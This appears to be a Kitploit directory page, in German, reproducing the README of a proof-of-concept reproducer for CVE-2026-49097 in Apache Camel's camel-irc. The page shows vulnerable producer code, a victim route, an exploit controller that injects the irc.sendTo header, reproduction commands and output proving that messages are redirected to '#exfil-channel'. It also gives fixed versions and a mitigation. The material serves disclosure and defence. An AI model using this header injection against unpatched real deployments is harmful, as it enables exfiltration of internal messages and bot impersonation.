Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49097 — PoC-Reproducer für CVE-2026-49097 (Apache Camel camel-irc): Der nicht mit Camel-Präfix versehene irc.sendTo-Header umgeht den HTTP-Header-Filter und überschreibt den konfigurierten Kanal des Producers, wodurch eine IRC-Nachricht an ein vom Angreifer gewähltes Ziel umgeleitet wird. Behoben in 4.14.8/4.18.3/4.21.0. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-49097
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHuboscerd/cve-2026-49097

CVE-2026-49097

Repository anzeigen
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

PoC-Reproducer für CVE-2026-49097 (Apache Camel camel-irc): Der nicht mit Camel-Präfix versehene irc.sendTo-Header umgeht den HTTP-Header-Filter und überschreibt den konfigurierten Kanal des Producers, wodurch eine IRC-Nachricht an ein vom Angreifer gewähltes Ziel umgeleitet wird. Behoben in 4.14.8/4.18.3/4.21.0.

Teilen

camel-irc irc.sendTo Header-Injection-Reproducer (CVE-2026-49097)

Dieses Projekt demonstriert eine Message-Header-Injection in der camel-irc-Komponente von Apache Camel, die als CVE-2026-49097 geführt wird. IrcProducer liest den Header irc.sendTo, um das Ziel der ausgehenden IRC-Nachricht zu bestimmen; wenn er vorhanden ist, überschreibt er die im Endpoint konfigurierte Kanalliste:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

Die Header-Konstante IRC_SEND_TO hat den einfachen Wert . Da sie nicht mit dem Präfix / beginnt, lässt – der an der HTTP-Grenze nur den Camel-Header-Namespace blockiert – sie aus einer eingehenden HTTP-Anfrage direkt in den Exchange passieren.

irc.sendTo
Camel
camel
HttpHeaderFilterStrategy

In einer Route, die einen HTTP-Consumer (z. B. platform-http) mit einem irc:-Producer verbindet, kann daher jeder HTTP-Client irc.sendTo setzen und die Nachricht an einen beliebigen IRC-Kanal oder Nick umleiten, wodurch Inhalte, die für einen internen Kanal bestimmt waren, zu einem vom Angreifer überwachten Ziel exfiltriert werden oder der Bot in einem anderen Kanal impersoniert wird. Neun weitere irc.*-Konstanten wurden in derselben Korrektur umbenannt; irc.sendTo ist die direkt ausnutzbare.

Dieses PoC zeigt die Auswirkung als Nachrichten-Umleitung / Offenlegung von Informationen (CWE-20 → CWE-74).

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-49097.html

Zusammenfassung der Schwachstelle

PropertyValue
Komponentecamel-irc
Betroffene Klasseorg.apache.camel.component.irc.IrcProducer liest IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (Unzureichende Eingabevalidierung) / CWE-74 (Injection)
AuswirkungUmleitung einer ausgehenden IRC-Nachricht an einen vom Angreifer gewählten Kanal/Nick (Exfiltration, Identitätsdiebstahl)
VoraussetzungenEine Route verbindet einen HTTP-Consumer mit einem irc:-Producer; ohne Authentifizierung, wenn der Consumer
Betroffene VersionenVon 4.0.0 bis vor 4.14.8, von 4.15.0 bis vor 4.18.3, von 4.19.0 bis vor 4.21.0
Behobene Versionen4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
DanksagungYu Bao (PayPal)

Die Korrektur benennt die zehn irc.*-Header-Konstanten in die CamelIrc*-Konvention um (z. B. irc.sendTo → CamelIrcSendTo), sodass sie an der HTTP-Grenze wie jeder andere Camel-Kontroll-Header gefiltert werden. Gleiche Familie wie CVE-2025-27636, CVE-2026-46454 und CVE-2026-48206. Hinweis: camel-irc ist ab 4.21.0 veraltet.

Warum kein IRC-Server benötigt wird

Die Schwachstelle liegt vollständig in der Zielauswahl von IrcProducer; der IRC-Socket ist nur Transport. Dieser Reproducer führt den echten IrcProducer und die echte irclib-Klasse IRCConnection aus, die so abgeleitet wurde, dass ihre send(...)-Methode (durch die jeder do*-Befehl – einschließlich doPrivmsg – läuft) das PRIVMSG-Ziel aufzeichnet, statt in einen Socket zu schreiben. Eine kleine benutzerdefinierte irc-Komponente stellt diese aufzeichnende Verbindung bereit. Es wird kein IRC-Netzwerk kontaktiert.

Die Opfer-Route

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Ein „Notify“-Endpoint, der an einen festen internen Kanal #alerts weiterleitet. Es gibt keinen Zielparameter in der HTTP-API – der Autor nimmt an, dass der Client den Kanal nicht wählen kann. Der Angreifer setzt irc.sendTo und der Bot postet in einen Kanal der Wahl des Angreifers.

Repository-Struktur

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Voraussetzungen

  • Docker und Docker Compose
  • Java 17+ und Maven 3.8+

Reproduktionsschritte

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Erwartete Ausgabe

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Empfohlene Behebung

Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Nach dem Upgrade müssen Routen, die das IRC-Ziel über einen Header setzen, den Namen CamelIrcSendTo verwenden. Hinweis: camel-irc ist ab 4.21.0 veraltet.

Abhilfe

Bis zum Upgrade sollten die Camel-IRC-Kontroll-Header aus jedem nicht vertrauenswürdigen Eingang vor dem irc:-Producer entfernt werden (z. B. removeHeaders("irc.*")), und das Ziel sollte aus einer vertrauenswürdigen Quelle gesetzt werden.

Haftungsausschluss

Dieser Reproducer dient ausschließlich der Sicherheitsforschung und autorisierten Tests für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.

Tool herunterladen